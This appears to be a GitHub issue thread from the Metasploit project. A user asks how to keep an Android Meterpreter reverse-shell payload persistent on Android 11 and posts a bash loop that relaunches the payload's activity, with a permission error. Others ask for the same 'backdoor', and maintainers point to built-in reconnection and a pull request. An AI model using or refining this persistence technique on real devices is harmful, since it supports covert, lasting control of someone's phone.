Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How to get persistence on Android 11? #15529

Closed
chusmagain opened this issue Aug 8, 2021 · 6 comments
Closed

How to get persistence on Android 11? #15529

chusmagain opened this issue Aug 8, 2021 · 6 comments
Labels
android question Questions about Metasploit Usage

Comments

@chusmagain
Copy link

chusmagain commented Aug 8, 2021

Hi, I have an android/meterpreter/reverse_tcp paylaod on Android 11, when i try to get persistence i execute this script
!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done
but I receive this error
`Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: package=com.android.shell does not belong to uid=10463
at com.android.server.wm.ActivityTaskManagerService.assertPackageMatchesCallingUid(ActivityTaskManagerService.java:2741)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1126)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1117)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3751)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:554)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:186)
at android.os.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:98)
at android.os.ShellCommand.exec(ShellCommand.java:44)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10879)
at android.os.Binder.shellCommand(Binder.java:929)
at android.os.Binder.onTransact(Binder.java:813)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5258)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2951)
at android.os.Binder.execTransactInternal(Binder.java:1159)
at android.os.Binder.execTransact(Binder.java:1123)

I read that this happens becauseam startits broken so i tried to replace it foram start-foreground-service` but i get this error 'Error: Can't start from invalid source: 10463' .

Someone know how to create the backdoor for persistence in Android 11?

@chusmagain chusmagain added the question Questions about Metasploit Usage label Aug 8, 2021
@timwr
Copy link
Contributor

timwr commented Aug 16, 2021

The Android payload should already by persistent (it should reconnect when the device is restarted). If the session keeps dying it's probably the battery saver/OS killing it. Have a look at: dontkillmyapp.com

@timwr timwr closed this as completed Aug 16, 2021
@acksyndude
Copy link

Any another way to do this?

@shk-trix
Copy link

shk-trix commented Oct 5, 2022

Lograron solucionar el error?

managed to fix the error

@Aggelos11
Copy link

Same for me … any idea how to make persistent in android 11 and above ?

@h00die
Copy link
Contributor

h00die commented Jul 4, 2024

#19154 is how.

@Aggelos11
Copy link

Unfortunately it does not work. I get this error:
IMG_9561

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
android question Questions about Metasploit Usage
Projects
None yet
Development

No branches or pull requests

7 participants